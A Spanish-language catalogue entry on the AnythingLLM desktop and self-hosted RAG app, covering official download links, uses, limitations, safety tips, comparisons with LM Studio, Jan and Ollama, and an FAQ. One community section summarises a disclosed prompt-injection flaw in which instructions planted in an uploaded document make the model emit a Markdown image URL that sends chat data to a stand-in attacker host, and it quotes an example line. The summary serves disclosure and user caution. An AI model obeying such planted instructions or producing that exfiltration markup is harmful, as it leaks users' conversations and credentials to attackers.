# AnythingLLM

> Aplicación de escritorio y self-hosted para chatear con documentos, modelos locales y flujos RAG sin depender de la nube.

- Fuente canónica: https://fuenteai.com/es/anythingllm
- Sitio oficial: https://anythingllm.com
- Categorías: modelos-locales
- Modelo de precio: freemium
- Requiere cuenta: no
- Estado: activa
- Última revisión editorial: 2026-08-12

## Descripción

AnythingLLM es una aplicación de IA para escritorio y despliegues self-hosted. Permite conectar modelos, documentos, agentes y bases de conocimiento con enfoque local o privado.

## Canales oficiales de descarga

FuenteAI no aloja archivos. Cada enlace apunta al canal del propio desarrollador.

- **web** (official-site): https://anythingllm.com/desktop
- **windows** (official-site): https://anythingllm.com/desktop
- **mac** (official-site): https://anythingllm.com/desktop
- **linux** (documentation): https://docs.anythingllm.com/installation-desktop/linux

## Para qué sirve

- Crear bases de conocimiento con documentos propios
- Usar modelos locales o proveedores externos en una misma interfaz
- Probar flujos RAG sin montar una aplicación desde cero
- Usuarios que quieren una app de escritorio privada y flexible

## Limitaciones

- Las funciones avanzadas pueden requerir configuración técnica.
- El rendimiento depende del modelo y del equipo o servidor usado.
- Algunas integraciones externas pueden requerir claves API.

## Avisos de seguridad

- Evita mirrors de AnythingLLM si vas a trabajar con documentos privados.
- Descarga desde anythingllm.com o fuentes oficiales del proyecto.
- Revisa qué proveedores externos y claves API conectas dentro de la aplicación.

## Qué diferencia a AnythingLLM

AnythingLLM no es solo un chat local. Su atractivo está en combinar documentos, bases de conocimiento, modelos y agentes dentro de una interfaz orientada a trabajo real. Para usuarios que han probado ChatGPT pero quieren consultar carpetas, PDFs o información interna, AnythingLLM ofrece un puente entre el uso personal y un flujo más privado.

Esa promesa también atrae mirrors y paquetes reempaquetados. Como maneja documentos y puede conectarse a modelos o claves API, descargarlo desde una fuente dudosa es especialmente mala idea. La ruta segura es su web oficial, documentación o repositorio.

## Desktop, self-hosted y modelos

AnythingLLM puede usarse como aplicación de escritorio y también en escenarios self-hosted. En escritorio, el foco está en empezar rápido sin montar infraestructura. En entornos más técnicos, puede conectarse con modelos locales, proveedores cloud y flujos de recuperación de información.

Esto lo diferencia de LM Studio, que se centra más en descubrir y ejecutar modelos locales, y de Ollama, que funciona como motor por comandos y API. AnythingLLM está más cerca de una aplicación de conocimiento: el usuario quiere preguntarle a sus documentos y organizar información.

## Cuándo elegirlo

Tiene sentido si tu prioridad es trabajar con documentos, crear espacios de conocimiento o probar RAG sin programar todo desde cero. Para simplemente conversar con un modelo local, Jan AI o LM Studio pueden ser más directos. Para automatizar desde terminal o integrarlo con herramientas de desarrollo, Ollama puede resultar más flexible.

La decisión depende de tu flujo: documentos y conocimiento organizado apuntan a AnythingLLM; exploración de modelos apunta a LM Studio o Jan; infraestructura ligera apunta a Ollama.

## Señales de la comunidad

- El 29 de julio de 2025, la firma de seguridad mgm security partners publicó un análisis de una vulnerabilidad de inyección de prompts cruzada (identificada como CVE-2025-44822) en AnythingLLM, reportada de forma responsable a Mintplex Labs el 3 de marzo de 2025 con un plazo de divulgación hasta el 15 de junio de 2025. El ataque funciona en dos etapas: un atacante incrusta instrucciones maliciosas en una fuente de datos no confiable (un documento, sitio web o plugin que subís a la herramienta); como los modelos de lenguaje no distinguen instrucciones legítimas de hostiles, el modelo las ejecuta y genera una sintaxis de imagen en Markdown como `![image](http://atacante.com/logo.png?q=DATOS_SENSIBLES)`. Cuando AnythingLLM renderiza esa imagen, solicita el archivo al servidor del atacante de forma invisible, filtrando los datos capturados a través de los parámetros de la URL. Esto permite interceptar mensajes posteriores dentro del mismo chat, extraer información sensible del historial de conversación (como credenciales de AWS mencionadas en el análisis) y comprometer todo un espacio de trabajo a partir de un solo documento malicioso, todo sin que el usuario lo note. Según el artículo, la versión v1.8.4 (28 de julio de 2025) seguía sin parche al momento de la publicación. Es un motivo concreto para no cargar documentos ni conectar sitios de origen no confiable en AnythingLLM, tal como recomienda esta ficha más abajo, en la sección de seguridad.
  Fuente: [mgm security partners — vulnerabilidad de inyección de prompts en AnythingLLM (CVE-2025-44822)](https://www.mgm-sp.com/en/blog-and-news/anythingllm-under-the-microscope-identifying-and-addressing-security-flaws/) (2025-07-29)

## Preguntas frecuentes

### ¿AnythingLLM tiene app de escritorio?

Sí. AnythingLLM ofrece descarga de escritorio para sistemas compatibles desde su sitio oficial.

### ¿AnythingLLM funciona sin cuenta?

AnythingLLM Desktop puede usarse localmente sin una cuenta SaaS obligatoria, aunque ciertas integraciones pueden requerir claves o servicios externos.

### ¿AnythingLLM sirve para RAG?

Sí. Es una de sus funciones principales: conectar documentos y fuentes de conocimiento para consultarlas con modelos de IA.

### ¿Es seguro descargar AnythingLLM desde SourceForge u otros mirrors?

Para reducir riesgo, FuenteAI recomienda usar la web oficial, documentación oficial o repositorio del proyecto.

## Alternativas en el catálogo

- https://fuenteai.com/es/jan
- https://fuenteai.com/es/lm-studio
- https://fuenteai.com/es/ollama